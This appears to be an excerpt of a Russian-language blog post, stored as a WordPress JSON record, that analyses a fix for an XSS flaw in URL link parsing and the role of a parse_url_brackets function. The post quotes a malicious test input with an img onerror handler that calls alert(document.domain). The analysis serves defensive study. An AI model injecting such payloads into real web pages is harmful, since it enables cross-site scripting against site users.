\u043f\u043e\u0441\u043b\u0435 \u0444\u0438\u043a\u0441\u0430 \u0443\u0433\u043b\u043e\u0432\u044b\u0435 \u0441\u043a\u043e\u0431\u043a\u0438 \u0438 \u043f\u0440\u043e\u0431\u0435\u043b\u044b \u0442\u0430\u043c \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u044b. \u041a \u043a\u043e\u043c\u043c\u0438\u0442\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d \u0442\u0435\u0441\u0442 \u0441 \u0432\u0440\u0435\u0434\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c:a@a.co?]&lt;img\/src=&#187;x&#187;\/onerror=alert(document.domain)&gt;\u042f \u043f\u0440\u043e\u0433\u043d\u0430\u043b \u044d\u0442\u043e\u0442 \u0432\u0445\u043e\u0434 \u043d\u0430 \u0436\u0438\u0432\u043e\u043c 1.6.16 \u0447\u0435\u0440\u0435\u0437 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0432\u043e\u0442 \u0442\u0430\u043a\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0439 HTML:&lt;a href=&#187;mailto:a@a.co?&#187;&gt;a@a.co?&lt;\/a&gt;]&amp;lt;img\/src=&#187;x&#187;\/onerror=alert(document.domain)&amp;gt;\u0422\u043e \u0435\u0441\u0442\u044c &lt;img&gt; \u0437\u0430\u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u0432 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u0430\u0436\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438. \u0420\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0441\u044f \u043f\u043e\u0447\u0435\u043c\u0443. \u0417\u0430 \u0441\u0441\u044b\u043b\u043a\u0443 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0430, \u043d\u043e \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f parse_url_brackets, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u043e \u043e\u0442\u0440\u0435\u0437\u0430\u0435\u0442 \u043e\u0442 \u0430\u0434\u0440\u0435\u0441\u0430 \u043d\u0435\u043f\u0430\u0440\u043d\u044b\u0435 \u0441\u043a\u043e\u0431\u043a\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f ]. \u0412 \u0438\u0442\u043e\u0433\u0435 ] \u0443\u0445\u043e\u0434\u0438\u0442 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-488139","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/488139","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=488139"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/488139\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=488139"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=488139"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=488139"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}